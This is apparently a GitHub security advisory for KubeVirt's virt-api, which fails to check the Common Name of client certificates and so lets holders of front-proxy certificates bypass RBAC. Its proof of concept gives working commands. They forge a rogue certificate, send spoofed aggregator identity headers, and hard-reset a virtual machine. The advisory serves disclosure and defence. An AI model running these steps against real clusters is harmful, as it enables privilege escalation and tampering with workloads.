+ "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nA flawed implementation of the Kubernetes aggregation layer's authentication flow could enable bypassing RBAC controls.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIt was discovered that the `virt-api` component fails to correctly authenticate the client when receiving API requests over mTLS. In particular, it fails to validate the CN (Common Name) field in the received client TLS certificates against the set of allowed values defined in the `extension-apiserver-authentication` configmap. \n\nThe Kubernetes API server proxies received client requests through a component called aggregator (part of K8S's API server), and authenticates to the `virt-api` server using a certificate signed by the CA specified via the `--requestheader-client-ca-file` CLI flag. This CA bundle is primarily used in the context of aggregated API servers, where the Kubernetes API server acts as a trusted front-end proxy forwarding requests.\n\nWhile this is the most common use case, the same CA bundle can also support less common scenarios, such as issuing certificates to [authenticating](how-kubernetes-certificates-work) front-end [proxies](https://deepwiki.com/kubernetes/apiserver/7.1-authentication#request-header-authentication). These proxies can be deployed by organizations to extend Kubernetes' native authentication mechanisms or to integrate with existing identity systems (e.g., LDAP, OAuth2, SSO platforms). In such cases, the Kubernetes API server can trust these external proxies as legitimate authenticators, provided their client certificates are signed by the same CA as the one defined via `--requestheader-client-ca-file`.\nNevertheless, these external authentication proxies are not supposed to directly communicate with aggregated API servers.\n\nThus, by failing to validate the CN field in the client TLS certificate, the `virt-api` component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.\n\nHowever, two key prerequisites must be met for successful exploitation:\n\n- The attacker must possess a valid front-end proxy certificate signed by the trusted CA (`requestheader-client-ca-file`). For example, they can steal the certificate material by compromising a front-end proxy or they could obtain a bundle by exploiting a poorly configured and managed PKI system.\n\n- The attacker must have network access to the `virt-api` service, such as via a compromised or controlled pod within the cluster.\n\nThese conditions significantly reduce the likelihood of exploitation. In addition, the `virt-api` component **acts as a sub-resource server**, meaning it only handles requests for specific resources and sub-resources . The handled by it requests are mostly related to the lifecycle of already existing resources.\n\nNonetheless, if met, the vulnerability could be exploited by a *Pod-Level Attacker* to escalate privileges, and manipulate existing virtual machine workloads potentially leading to violation of their CIA (Confidentiality, Integrity and Availability).\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n#### Bypassing authentication\n\nIn this section, it is demonstrated how an attacker could use a certificate with a different CN field to bypass the authentication of the aggregation layer and perform arbitrary API sub-resource requests to the `virt-api` server.\n\nThe `kube-apiserver` has been launched with the following CLI flags:\n\n\n```bash\nadmin@minikube:~$ kubectl -n kube-system describe pod kube-apiserver-minikube | grep Command -A 28\n Command:\n kube-apiserver\n --advertise-address=192.168.49.2\n --allow-privileged=true\n --authorization-mode=Node,RBAC\n --client-ca-file=/var/lib/minikube/certs/ca.crt\n --enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota\n --enable-bootstrap-token-auth=true\n --etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt\n --etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt\n --etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key\n --etcd-servers=https://127.0.0.1:2379\n --kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt\n --kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key\n --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\n --proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt\n --proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key\n --requestheader-allowed-names=front-proxy-client\n --requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt\n --requestheader-extra-headers-prefix=X-Remote-Extra-\n --requestheader-group-headers=X-Remote-Group\n --requestheader-username-headers=X-Remote-User\n --secure-port=8443\n --service-account-issuer=https://kubernetes.default.svc.cluster.local\n --service-account-key-file=/var/lib/minikube/certs/sa.pub\n --service-account-signing-key-file=/var/lib/minikube/certs/sa.key\n --service-cluster-ip-range=10.96.0.0/12\n --tls-cert-file=/var/lib/minikube/certs/apiserver.crt\n --tls-private-key-file=/var/lib/minikube/certs/apiserver.key\n```\n\nBy default, Minikube generates a self-signed CA certificate (`var/lib/minikube/certs/front-proxy-ca.crt`) and use it to sign the certificate used by the aggregator (`/var/lib/minikube/certs/front-proxy-client.crt`):\n\n```bash\n# inspect the self-signed front-proxy-ca certificate\nadmin@minikube:~$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-ca.crt | grep -e \"Issuer:\" -e \"Subject:\"\n Issuer: CN = front-proxy-ca\n Subject: CN = front-proxy-ca\n# inspect the front-proxy-client certificate signed with the above cert\n$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-client.crt | grep -e \"Issuer:\" -e \"Subject:\"\n Issuer: CN = front-proxy-ca\n Subject: CN = front-proxy-client\n```\n\n\nOne can also inspect the contents of the `extension-apiserver-authentication` ConfigMap which is used as a trust anchor by all extension API servers:\n\n```bash\nadmin@minikube:~$ kubectl -n kube-system describe configmap extension-apiserver-authentication\nName: extension-apiserver-authentication\nNamespace: kube-system\nLabels: <none>\nAnnotations: <none>\n\nData\n====\nrequestheader-client-ca-file:\n----\n-----BEGIN CERTIFICATE-----\nMIIDETCCAfmgAwIBAgIIN59KhbrmeJkwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UE\nAxMOZnJvbnQtcHJveHktY2EwHhcNMjUwNTE4MTQzMTI3WhcNMzUwNTE2MTQzNjI3\nWjAZMRcwFQYDVQQDEw5mcm9udC1wcm94eS1jYTCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBALOFlqbM1h3uhTdU9XBZQ6AX8S7M0nT5SgSOSItJrVwjNUv/\nt4FAQxnGPW7fhp9A9CeQ92DGLXkm88fgHCgnPJuodKgX8fS7NHfswvXKkgo6C4UO\n2AmW0NAkuKMyTmf1tWugot7hj3sGFfIzVSLL73wm1Ci8unTaGKZG01ZZalL1kzz9\nObpmEn7DQvSJd7m5gALP4KPJdkFjoagMI4UlIownARl0h2DX5WAKy0ynGfEBvw+P\nhEbuVPb+egeUVTn9/4JIqdUw21tUQrmbQqPib8BByueiOYqEerGxZDpLAxh230VG\nQ6omoyUHjE6SIMBoUnAqAdLbTElVbLWJawlLZzECAwEAAaNdMFswDgYDVR0PAQH/\nBAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPjiIeJVR7zQBCkpmkEa\nI+70PxA8MBkGA1UdEQQSMBCCDmZyb250LXByb3h5LWNhMA0GCSqGSIb3DQEBCwUA\nA4IBAQBiNTe9Sdv9RnKqTyt+Xj0NJrScVOiWPb9noO5XSyBtOy8F8b+ZWAtzc+eI\nG/g6hpiT7lq3hVtmDNiE6nsP3tywXf0mgg7blRC0l3DxGtSzJZlbahAI4/U5yen7\norKiWiD/ObK2rGbt1toVRyvJzPi3hYjh4mA6GMyFbOC6snopNyM9oj+b/EuTCavf\nl9WTNn2ZZQ1nYfJsLjOY5k/VtpZw1D/QwYt0u/A83RxEeBvK2aZPsq/nA0jqeHhe\nVHauDQslkjMw0yrFc1b+Ju4Ly+BwH+Mi7ALUINc8EVncWZyM2L7B4N9XwPSp6YPX\nfZnj69fu0JWfrq88M+LnKOyfkqi4\n-----END CERTIFICATE-----\n\n\nrequestheader-extra-headers-prefix:\n----\n[\"X-Remote-Extra-\"]\n\nrequestheader-group-headers:\n----\n[\"X-Remote-Group\"]\n\nrequestheader-username-headers:\n----\n[\"X-Remote-User\"]\n\nclient-ca-file:\n----\n-----BEGIN CERTIFICATE-----\nMIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p\na3ViZUNBMB4XDTI1MDQxMTE3MzM1N1oXDTM1MDQxMDE3MzM1N1owFTETMBEGA1UE\nAxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXK\nShgBkCDLETxDOSknvWHr7lfnvLtSCLf3VPVwFQNDhLAuFBc2H1MSMqzW6hcyxAVA\narQbOe36zxHjHpaP3VlGOEw3CVesPNw6ZToGuhpRq1inQATzeg2yc5w1jtRjLXhb\nBWp7zCDk1qoHws/fWpaWOe3oQq4ZOA1+bJDsmZ7LjmMtOKHdqftEFz/RGVrn7nKD\n/WXyGgKgSSNFsDK+Ow6gN6r3b10S82VQ5MwncJuqGO1r036yjwWBU8PEpknc/MhG\nJ/bMdI/w49rxlEAE92OadYRNvC0SDhG0HyPj9BMVx8ZG5X28lZMgq98UzVgu9Try\ne8tndHqxUaU7rjO7j/8CAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW\nMBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW\nBBS8FpfTfvGkXDPJEXUoTQs+MwVhPjANBgkqhkiG9w0BAQsFAAOCAQEAFg+gxZ7W\nzZValzuoXSc3keutB4U0QXFzjOhTVo8D/qsBNkxasdsrYjF2Do/KuGxCefXRZbTe\nQWX3OFhiiabd0nkGoNTxXoPqwOJHczk+bo8L2Vcva1JAi/tBVNkPULzZilZWgWQz\n8d8NgABP7MpHnOJVvAr6BEaS1wpoLzyEMXm6YToZXjDX1ajzyyLonQ9So1Y7aj6v\nyPQ8OO2TUhkEpzb28/s5Pr33QT8W0/FX3m8+MGSNvWdHNZ+UzXLk3iSfySgjmciZ\no4C5yKLZgKFxoFBxY25emr6QDZW+3HicZj6sPsblGlvlBF5wQgF65msgjvmRfTLq\nJPwzd6yDCMUuZQ==\n-----END CERTIFICATE-----\n\n\nrequestheader-allowed-names:\n----\n[\"front-proxy-client\"]\n\n\nBinaryData\n====\n\nEvents: <none>\n```\n\nIt is assumed that an attacker has obtained access to a Kubernetes pod and could communicate with `virt-api` reachable at `10.244.0.6`.\n\n```bash\nroot@compromised-pod:~$ curl -ks https://10.244.0.6:8443/ | jq .\n{\n \"paths\": [\n \"/apis\",\n \"/openapi/v2\",\n \"/apis/subresources.kubevirt.io\",\n \"/apis/subresources.kubevirt.io/v1\",\n \"/apis/subresources.kubevirt.io\",\n \"/apis/subresources.kubevirt.io/v1alpha3\"\n ]\n}\n```\n\nThe `virt-api` service has two types of endpoints -- authenticated and non-authenticated:\n\n```go\n// pkg/authorizer/authorizer.go\n\nvar noAuthEndpoints = map[string]struct{}{\n\t\"/\": {},\n\t\"/apis\": {},\n\t\"/healthz\": {},\n\t\"/openapi/v2\": {},\n\t// Although KubeVirt does not publish v3, Kubernetes aggregator controller will\n\t// handle v2 to v3 (lossy) conversion if KubeVirt returns 404 on this endpoint\n\t\"/openapi/v3\": {},\n\t// The endpoints with just the version are needed for api aggregation discovery\n\t// Test with e.g. kubectl get --raw /apis/subresources.kubevirt.io/v1\n\t\"/apis/subresources.kubevirt.io/v1\": {},\n\t\"/apis/subresources.kubevirt.io/v1/version\": {},\n\t\"/apis/subresources.kubevirt.io/v1/guestfs\": {},\n\t\"/apis/subresources.kubevirt.io/v1/healthz\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/version\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/guestfs\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/healthz\": {},\n\t// the profiler endpoints are blocked by a feature gate\n\t// to restrict the usage to development environments\n\t\"/start-profiler\": {},\n\t\"/stop-profiler\": {},\n\t\"/dump-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/start-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/stop-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/dump-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/start-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/stop-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/dump-cluster-profiler\": {},\n}\n```\n\nEach endpoint which is not in this list is considered an authenticated endpoint and requires a valid client certificate to be presented by the caller.\n\n```bash\n# trying to reach an API endpoint not in the above list would require client authentication\nattacker@compromised-pod:~$ curl -ks https://10.244.0.6:8443/v1\nrequest is not authenticated\n```\n\nTo illustrate the vulnerability and attack scenario, below is generated a certificate signed by the `front-proxy-ca` but issued to an entity which is different than `front-proxy-client` (i.e the certificate has a different CN). Later on, it is assumed that the attacker has obtained access to the certificate bundle:\n\n```bash\nattacker@compromised-pod:~$ openssl ecparam -genkey -name prime256v1 -noout -out rogue-front-proxy.key\nattacker@compromised-pod:~$ openssl req -new -key rogue-front-proxy.key -out rogue-front-proxy.csr -subj \"/CN=crypt0n1t3/O=Quarkslab/C=Fr\"\nattacker@compromised-pod:~$ openssl x509 -req -in rogue-front-proxy.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out\n rogue-front-proxy.crt -days 365\n```\nThe authentication will now succeed:\n\n```bash\nattacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key https://10.244.0.6:8443/v1\na valid user header is required for authorization\n```\n\nTo fully exploit the vulnerability, the attacker must also provide valid authentication HTTP headers:\n\n```bash\nattacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User:system:kube-aggregator' -H '\nX-Remote-Group: system:masters' https://10.244.0.6:8443/v1\nunknown api endpoint: /subresource.kubevirt.io/v1\n```\n\nThe `virt-api` is a sub-resource extension server - it handles only requests for specific resources and sub-resources (requests having URIs prefixed with `/apis/subresources.kubevirt.io/v1/`). In reality, most of the requests that it accepts are actually executed by the `virt-handler` component and are related to the lifecycle of a VM. \n\nHence, `virt-handler`'s API can be seen as aggregated within `virt-api`'s API which in turn transforms it into a proxy. \n\nThe endpoints which are handled by `virt-api` are listed in the Swagger definitions available on GitHub @openapi-spec.\n\n#### Resetting a Virtual Machine Instance \n\nConsider the following deployed `VirtualMachineInstance` (VMI) within the default namespace:\n\n```yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n namespace: default\n name: mishandling-common-name-in-certificate-default\nspec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n\n - name: cloudinitdisk\n disk:\n bus: virtio\n resources:\n requests:\n memory: 1024M\n terminationGracePeriodSeconds: 0\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk \n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nAn attacker with a stolen external authentication proxy certificate could easily reset (hard reboot), freeze, or remove volumes from the virtual machine.\n\n```bash\nroot@compromised-pod:~$ curl -ki --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User: system:kube-aggregator' -H 'X-Remote-Group: system:masters' https://10.244.0.6:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-default/reset -XPUT\n\nHTTP/1.1 200 OK\nDate: Sun, 18 May 2025 16:43:26 GMT\nContent-Length: 0\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe `virt-api` component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments